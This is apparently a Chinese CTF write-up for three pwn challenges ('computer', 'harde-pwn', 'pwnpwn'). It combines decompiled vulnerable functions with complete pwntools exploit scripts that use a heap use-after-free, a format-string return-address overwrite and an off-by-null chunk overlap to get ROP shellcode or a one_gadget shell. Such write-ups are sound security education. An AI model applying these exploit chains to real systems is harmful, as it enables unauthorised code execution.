computer
本题模拟了计算机的一些操作,本质上还是一些2.27
堆的add delete show
操作
unsigned __int64 __fastcall op(__int64 *a1, __int64 a2, __int64 a3, const char **a4)
{
__isoc99_sscanf(a2, "%256s %256s", command, argument);
...
if ( !strcmp(command, "touch") ) // add
{
if ( (*(_DWORD *)(*a1 + 48) & 2) != 0 )
{
str = add(argument, 0, *a1, 6);
add_list(*a1, (__int64)str);
return __readfsqword(0x28u) ^ v25;
}
goto LABEL_107;
}
if ( !strcmp(command, "exec") ) // add
{
for ( i = *(_QWORD *)(*a1 + 32); i; i = *(_QWORD *)(i + 40) )
{
if ( !*(_DWORD *)(i + 8) && !strcmp(*(const char **)i, argument) )
{
if ( !strcmp(*a4, "root") || (*(_DWORD *)(i + 48) & 4) != 0 && pid_count <= 15 )
{
count = pid_count;
pid_list[count] = (pid *)malloc(0x10uLL);
LODWORD(pid_list[pid_count]->pid) = pid_count;
pid_ = pid_list[pid_count];
pid_->name = (__int64)strdup(argument);
++pid_count;
puts(aExecOver);
return __readfsqword(0x28u) ^ v25;
}
goto LABEL_107;
}
}
}
...
else if ( !strcmp(command, "ps") ) // show
{
atoi(argument);
puts("pid:\tname:");
for ( index = 0; index < pid_count; ++index )
{
if ( pid_list[index] )
printf("%d\t%s\n", LODWORD(pid_list[index]->pid), (const char *)pid_list[index]->name);
}
}
else if ( !strcmp(command, "kill") ) // free
{
pid = atoi(argument);
if ( pid >= 0 && pid <= pid_count )
{
free((void *)pid_list[pid]->name);
free(pid_list[pid]); // uaf
--pid_count;
printf("%d had been killed\n", (unsigned int)pid);
}
}
else if ( !strcmp(command, "rm") ) // free
{
if ( (*(_DWORD *)(*a1 + 48) & 2) == 0 )
goto LABEL_107;
v15 = 0LL;
for ( n = *(_QWORD *)(*a1 + 32); n; n = *(_QWORD *)(n + 40) )
{
if ( !strcmp(*(const char **)n, argument) )
{
if ( v15 )
*(_QWORD *)(v15 + 40) = *(_QWORD *)(n + 40);
else
*(_QWORD *)(*a1 + 32) = *(_QWORD *)(n + 40);
*(_QWORD *)(n + 40) = 0LL;
sub_2CE0(n);
return __readfsqword(0x28u) ^ v25;
}
v15 = n;
}
}
...
}
kill
会释放由exec
创建的堆,rm
会释放掉由touch
创建的文件,ps
会输出exec
创建的堆,kill
指令中存在uaf
漏洞
程序开了沙箱保护,不能直接getshell
,只能将返回地址改成orw
指令
➜ computer seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00030000 return TRAP
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
第一步就是泄露libc
地址、栈地址,由于存在uaf
漏洞所以直接创建一个unsorted bin
即可泄露libc
地址,再将fd
改成environ
即可泄露栈地址
r.sendlineafter(b'> ', b'touch ' + b'a' * 0xe7)
for i in range(16):
r.sendlineafter(b'> ', b'exec ' + b'a' * 0xe7)
for i in range(10):
r.sendlineafter(b'> ', 'touch ' + str(i))
for i in range(8)[::-1]:
r.sendlineafter(b'> ', 'kill ' + str(i)) #fill up tcache
r.sendlineafter(b'> ', b'ps')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0 #leak libc
r.sendlineafter(b'> ', b'touch ' + b'b' * 8 + p64(libc_base + 0x3ee098)) #environ
r.sendlineafter(b'> ', b'ps')
r.recvuntil(b'name:\n')
heap_base = u64(r.recvuntil(b'\n')[2:8].ljust(8, b'\x00')) - 0x660
r.recvuntil(b'\t')
stack_addr = u64(r.recvuntil(b'\n')[:6].ljust(8, b'\x00'))
接下来就是改返回地址为orw
,利用uaf
改堆的fd
为函数的返回地址,再将堆都申请出来即可申请到返回地址
exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
r.sendlineafter(b'> ', b'touch ' + b'a' * 0xe7)
for i in range(16):
r.sendlineafter(b'> ', b'exec ' + b'a' * 0xe7)
for i in range(10):
r.sendlineafter(b'> ', 'touch ' + str(i))
for i in range(8)[::-1]:
r.sendlineafter(b'> ', 'kill ' + str(i)) #fill up tcache
r.sendlineafter(b'> ', b'ps')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0 #leak libc
r.sendlineafter(b'> ', b'touch ' + b'b' * 8 + p64(libc_base + 0x3ee098)) #environ
r.sendlineafter(b'> ', b'ps')
r.recvuntil(b'name:\n')
heap_base = u64(r.recvuntil(b'\n')[2:8].ljust(8, b'\x00')) - 0x660
r.recvuntil(b'\t')
stack_addr = u64(r.recvuntil(b'\n')[:6].ljust(8, b'\x00'))
r.sendlineafter(b'> ', b'rm 0')
r.sendlineafter(b'> ', b'rm 1')
r.sendlineafter(b'> ', b'kill 0')
r.sendlineafter(b'> ', b'mkdir new')
r.sendlineafter(b'> ', b'cd new')
r.sendlineafter(b'> ', b'touch 0')
r.sendlineafter(b'> ', b'touch 1')
r.sendlineafter(b'> ', b'touch 2')
r.sendlineafter(b'> ', b'touch ' + p64(stack_addr - 0xb28))
r.sendlineafter(b'> ', b'touch ' + b'3' * 0x19)
p = flat([libc_base + 0x000000000002164f, (stack_addr - 0xb28) & (~0xfff),
libc_base + 0x0000000000023a6a, 0x1000, libc_base + 0x0000000000001b96,
7, libc_base + 0x000000000001b500, 10 + 0x10, libc_base + 0x000000000009a872,
libc_base + 0x00000000000d2625, libc_base + 0x0000000000002b25])
p += asm('''
mov eax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor eax, eax
mov esi, eax
mov al, 2
syscall ;// open
push rax
mov rsi, rsp
xor eax, eax
mov edx, eax
inc eax
mov edi, eax
mov dl, 8
syscall ;// write open() return value
pop rax
test rax, rax
js over
mov edi, eax
mov rsi, rsp
mov edx, 0x01010201
sub edx, 0x01010101
xor eax, eax
syscall ;// read
mov edx, eax
mov rsi, rsp
xor eax, eax
inc eax
mov edi, eax
syscall ;// write
over:
xor edi, edi
mov eax, 0x010101e8
sub eax, 0x01010101
syscall ;// exit
''')
r.sendlineafter(b'> ', b'touch ' + b'c' * 8 + p64(libc_base + 0x00000000000baf9c) + b'a' * 218 + p)
r.interactive()
harde-pwn
首先需要通过一个game
,通过溢出改seed = 0
,然后联合C
编程计算随机数
_DWORD *fuxk_game()
{
_DWORD *result; // rax
char buf[28]; // [rsp+0h] [rbp-40h] BYREF
__int64 seed; // [rsp+1Ch] [rbp-24h]
int v3; // [rsp+24h] [rbp-1Ch] BYREF
int v4; // [rsp+28h] [rbp-18h]
int i; // [rsp+2Ch] [rbp-14h]
puts("Welcome to a ctype game!");
seed = randomm();
read(0, buf, 0x20uLL);
srand(seed);
for ( i = 0; i <= 20; ++i )
{
v4 = (rand() ^ 0x24) + 1;
puts("input: ");
__isoc99_scanf("%d", &v3);
if ( v4 != v3 )
{
puts("fuxk up!");
exit(1);
}
puts("Success!");
}
result = &is_fmt;
is_fmt = 1;
return result;
}
接着进入一个无限次堆上的格式化字符串函数
void __noreturn heap_fmt()
{
char *ptr; // [rsp+8h] [rbp-8h]
for ( ptr = 0LL; ; printf(ptr) )
{
ptr = (char *)realloc(ptr, 0x1000uLL);
my_write("input your data ;)\n");
read(0, ptr, 0x1000uLL);
}
}
因为got
表不可写且for
是死循环,所以需要改printf
的返回地址最终运行到ogg
► 0x7ffff7c6082f <printf+191> add rsp, 0xd8
0x7ffff7c60836 <printf+198> ret
返回地址是rsp
,并且在原本的地址上加了0xd8
,因此将rsp+0xd8
的地方改成__libc_csu_init+97
,因为地址位数相差过大不能直接改ogg
pwndbg> stack
00:0000│ rsp 0x7fffffffdd60 ◂— 0x3000000010
01:0008│ 0x7fffffffdd68 —▸ 0x7fffffffde40 ◂— 0x0
02:0010│ 0x7fffffffdd70 —▸ 0x7fffffffdd80 ◂— 0x1
03:0018│ 0x7fffffffdd78 ◂— 0x9d5edc9b23af5200
04:0020│ 0x7fffffffdd80 ◂— 0x1
05:0028│ 0x7fffffffdd88 —▸ 0x55555555b2a0 ◂— '%177c%45$hhn'
06:0030│ 0x7fffffffdd90 ◂— 0x1000
07:0038│ 0x7fffffffdd98 —▸ 0x7ffff7d14992 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */
pwndbg>
08:0040│ 0x7fffffffdda0 —▸ 0x55555555b2a0 ◂— '%177c%45$hhn'
09:0048│ 0x7fffffffdda8 ◂— 0x0
0a:0050│ 0x7fffffffddb0 —▸ 0x55555555b2a0 ◂— '%177c%45$hhn'
0b:0058│ 0x7fffffffddb8 ◂— 0x1000
0c:0060│ 0x7fffffffddc0 —▸ 0x55555555b290 ◂— 0x0
0d:0068│ 0x7fffffffddc8 ◂— 0x1010
0e:0070│ 0x7fffffffddd0 ◂— 0x1010
0f:0078│ 0x7fffffffddd8 —▸ 0x7ffff7ca5989 (realloc+457) ◂— mov r8, rax
pwndbg>
10:0080│ 0x7fffffffdde0 ◂— 0x1000
11:0088│ 0x7fffffffdde8 ◂— 0xff
12:0090│ 0x7fffffffddf0 —▸ 0x555555555502 (main) ◂— endbr64
13:0098│ 0x7fffffffddf8 ◂— 0x0
14:00a0│ 0x7fffffffde00 —▸ 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
15:00a8│ 0x7fffffffde08 —▸ 0x555555555365 (my_write+55) ◂— nop
16:00b0│ 0x7fffffffde10 —▸ 0x7fffffffde50 —▸ 0x7ffff7cebcf5 (execvpe+1141) ◂— mov rsi, r10
17:00b8│ 0x7fffffffde18 —▸ 0x55555555604b ◂— 'input your data ;)\n'
pwndbg>
18:00c0│ 0x7fffffffde20 —▸ 0x555555555502 (main) ◂— endbr64
19:00c8│ 0x7fffffffde28 ◂— 0x13
1a:00d0│ 0x7fffffffde30 —▸ 0x7fffffffde50 —▸ 0x7ffff7cebcf5 (execvpe+1141) ◂— mov rsi, r10
1b:00d8│ 0x7fffffffde38 —▸ 0x5555555555b1 (__libc_csu_init+97) ◂— pop rsi
1c:00e0│ 0x7fffffffde40 ◂— 0x0
1d:00e8│ 0x7fffffffde48 —▸ 0x55555555b2a0 ◂— '%177c%45$hhn'
1e:00f0│ rbp 0x7fffffffde50 —▸ 0x7ffff7cebcf5 (execvpe+1141) ◂— mov rsi, r10
1f:00f8│ 0x7fffffffde58 —▸ 0x555555555543 (main+65) ◂— mov eax, 0
从__libc_csu_init
的返回地址是rsp
,所以事先将rbp
改成ogg
,再利用__libc_csu_init+97
的两次ret
将rsp
移到rbp
,ret
到ogg
exp:
from pwn import *
from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
elf = ELF(file_name)
libc = cdll.LoadLibrary('./2.35/libc.so.6')
def dbg():
gdb.attach(r)
seed = b'\x00' * 0x20
r.sendafter(b'Welcome to a ctype game!', seed)
seed = 0
libc.srand(seed)
for i in range(21):
v6 = (libc.rand() ^ 0x24) + 1
r.sendlineafter('input: ', str(v6))
r.sendafter(b'input your data ;)\n', b'%8$p%11$p%7$p')
r.recvuntil(b'0x')
stack = int(r.recv(12), 16)
r.recvuntil(b'0x')
libc_base = int(r.recv(12), 16) - 0x29d90
r.recvuntil(b'0x')
heap_base = int(r.recv(12), 16) - 0x2a0
ret = stack - 8
ptr = stack - 0x18
rbp = stack - 0x10
one = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8, 0xebd52, 0xebdaf, 0xebdb3]
one_gadget = one[2] + libc_base
printf_ret = ptr - 0x10
for i in range(4):
r.sendafter(b'input your data ;)\n', '%' + str((rbp + i) & 0xffff) + 'c%15$hn\x00')
r.sendafter(b'input your data ;)\n', '%' + str((one_gadget >> i*8) & 0xff) + 'c%45$hhn\x00')
r.sendafter(b'input your data ;)\n', '%' + str(printf_ret & 0xffff) + 'c%15$hn\x00')
r.sendafter(b'input your data ;)\n', '%' + str(0xb1) + 'c%45$hhn\x00')
r.interactive()
pwnpwn
漏洞点
__int64 add()
{
...
v10 = read(0, content, v9);
*(_BYTE *)(v14 + v10) = 0; // off-by-null
}
do
result = (((_BYTE)dword_2030B4 - 1) * (_BYTE)dword_2030B4) & 1;
while ( dword_20302C >= 10 && (_DWORD)result != 0 );
return result;
}
该题是有个2.31
下的off-by-null
利用题,其中需要注意的是
__int64 __fastcall check_pas(__int64 *a1)
{
const char *v1; // rdi
char len; // r8
__int64 *len_addr; // rax
int v4; // eax
int v5; // eax
const char *v7; // rdi
char v8; // al
__int64 *v9; // [rsp+0h] [rbp-40h] BYREF
int v10; // [rsp+Ch] [rbp-34h]
int v11; // [rsp+10h] [rbp-30h]
bool judge; // [rsp+17h] [rbp-29h]
__int64 *v13; // [rsp+18h] [rbp-28h]
__int64 *v14; // [rsp+20h] [rbp-20h]
__int64 *v15; // [rsp+28h] [rbp-18h]
v15 = a1;
if ( dword_2030AC >= 10 && ((((_BYTE)dword_203048 - 1) * (_BYTE)dword_203048) & 1) != 0 )
goto LABEL_8;
while ( 1 )
{
*(&v9 - 2) = v15;
v1 = (const char *)*(&v9 - 2);
v14 = (__int64 *)(&v9 - 2);
v13 = (__int64 *)(&v9 - 2);
len = strlen(v1);
len_addr = v13;
*(_BYTE *)v13 = len;
judge = *(unsigned __int8 *)len_addr <= 2u;
if ( dword_2030AC < 10 || ((((_BYTE)dword_203048 - 1) * (_BYTE)dword_203048) & 1) == 0 )
break;
LABEL_8:
*(&v9 - 2) = v15;
v7 = (const char *)*(&v9 - 2);
v9 = (__int64 *)(&v9 - 2);
v8 = strlen(v7);
*(_BYTE *)v9 = v8;
}
if ( judge || *(unsigned __int8 *)v13 > 7u )
{
v4 = printf("passwd error");
check = 0;
*(_DWORD *)v14 = 0;
v11 = v4;
}
else
{
v5 = printf("passwd is ok");
check = 1;
*(_DWORD *)v14 = 0;
v10 = v5;
}
return *(unsigned int *)v14;
}
存在一个检查password
的函数,当password
长度在(2,7]
之间时返回1
,否则返回0
,并且在输入之前并不会清空缓冲区,即存在上次输入的内容
在delete
和show
函数中需要check
为0
才能正常释放
char delete()
{
...
do
v6 = check == 1;
while ( dword_203038 >= 10 && ((((_BYTE)dword_2030BC - 1) * (_BYTE)dword_2030BC) & 1) != 0 );
LOBYTE(v2) = v6;
if ( v6 )
{
free((void *)ptr[*v13]);
v2 = ptr;
ptr[*v13] = 0LL;
}
return (char)v2;
}
int show()
{
...
if ( !check )
{
puts("content: ");
LODWORD(heap_ptr) = puts((const char *)ptr[index]);
}
return (int)heap_ptr;
}
而在edit
函数中需要check
为1
才能正常释放
ssize_t edit()
{
__int64 v1; // [rsp+50h] [rbp-20h] BYREF
__int64 v2; // [rsp+58h] [rbp-18h]
int index; // [rsp+64h] [rbp-Ch] OVERLAPPED BYREF
if ( !check )
{
if ( dword_203028 < 10 || ((((_BYTE)dword_2030B0 - 1) * (_BYTE)dword_2030B0) & 1) == 0 )
{
puts("you can't do that");
exit(0);
}
puts("you can't do that");
exit(0);
}
...
}
一开始需要通过一个猜数字的游戏,四个数字是根据时间随机生成的并且不能覆盖seed
,直接联合C
编程即可得到答案
首先泄露libc
地址,直接创建属于unsorted bin
的堆释放掉再创建回来之后show
,堆中残留了unsorted bin
中的地址,printf
会存在\x00
截断的问题,因此要用edit
函数改fd
位置的内容并去泄露bk
位置的内容,因为edit
函数会在输入长度不足的情况下自动补到0x8
,所以输入的长度短也没问题
ssize_t edit()
{
...
while ( 1 )
{
index = 0;
puts("give me your index");
__isoc99_scanf("%d", &index);
v1 = 0xDEADBEEFDEADBEEFLL;
v2 = 0xDEADBEEFDEADBEEFLL;
sub_15C0(ptr[index], &v1);
puts("give me your index");
__isoc99_scanf("%d", &index);
if ( dword_203028 < 10 || ((((_BYTE)dword_2030B0 - 1) * (_BYTE)dword_2030B0) & 1) == 0 )
break;
LABEL_14:
index = 0;
puts("give me your index");
__isoc99_scanf("%d", &index);
v1 = 0xDEADBEEFDEADBEEFLL;
v2 = 0xDEADBEEFDEADBEEFLL;
sub_15C0(ptr[index], &v1);
puts("give me your index");
__isoc99_scanf("%d", &index);
}
...
}
接下来需要泄露堆地址,这里需要用到large bin
的fd_nextsize
和bk_nextsize
链会链接到下一个堆或自身的特点,用相同的方法先把fd
和bk
的位置覆盖掉再调用show
函数泄露堆地址
最后就是布置堆进行off-by-null
的利用,其中需要绕过对fd
和bk
的检查,即Fd->bk == victim
和Bk->fd == victim
,最终实现overlap
exp:
from pwn import *
from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
elf = ELF(file_name)
libc = cdll.LoadLibrary('./2.31/libc-2.31.so')
def dbg():
gdb.attach(r)
seed = libc.time(0);
libc.srand(seed);
p = ''
for i in range(4):
p += str(libc.rand() % 10)
r.sendlineafter(b'please input your number:', p)
def add(index, size, content):
r.sendlineafter(b'root@$\n', '1')
r.sendlineafter('give me your index:\n', str(index))
r.sendlineafter('give me your size:\n', str(size))
r.sendafter('give me your content:\n', content)
def show(index):
r.sendlineafter('root@$\n', '2')
r.sendlineafter('give me your index:\n', str(index))
def pd(username, passwd):
r.sendlineafter('root@$\n', '5')
r.sendafter('please input your username\n', username)
r.sendafter('please input your passwd\n', passwd)
def edit(index, content):
r.sendlineafter('root@$\n', '3')
r.sendlineafter('give me your index\n', str(index))
r.sendlineafter('give me your index\n', str(index))
r.sendafter('give me your content:\n', content)
def delete(index):
r.sendlineafter('root@$\n', '4')
r.sendlineafter('give me your index:\n', str(index))
add(0, 0x410, b'a')
add(1, 0x20, b'a')
add(2, 0x20, b'a')
add(3, 0x4f0, b'a')
add(4, 0x10, b'a')
add(5, 0x20, b'a')
pd('a', 'a' * 3)
delete(0)
add(0, 0x410, b'aa')
edit(0, 'a')
pd('a', 'a' * 8)
show(0)
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
libc = ELF('./2.31/libc-2.31.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
one = [0xe6aee, 0xe6af1, 0xe6af4]
ogg = one[1] + libc_base
pd(b'a', b'aaa'.ljust(8, b'\x00'))
delete(0)
add(6, 0x500, b'a')
add(0, 0x410, b'a')
edit(0, 'a' * 0x10)
pd('a', 'a' * 8)
show(0)
r.recvuntil('a' * 0x10)
heap_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x290
pd(b'a'.ljust(6, b'\x00'), b'aaa'.ljust(6, b'\x00'))
delete(2)
p1 = p64(heap_base + 0x6c0) + 0x18 * b'a' + p64(0x50)
add(2, 0x28, p1)
delete(1)
p2 = p64(0) + p64(0x51) + p64(heap_base + 0x6f0 - 0x18) + p64(heap_base + 0x6f0 - 0x10)
add(1, 0x28, p2)
delete(3)
add(3, 0x100, p64(0) * 3 + p64(0x31))
delete(5)
delete(2)
delete(3)
add(3, 0x100, p64(0) * 3 + p64(0x31) + p64(free_hook))
add(7, 0x20, b'a')
add(8, 0x20, p64(ogg))
delete(0)
r.interactive()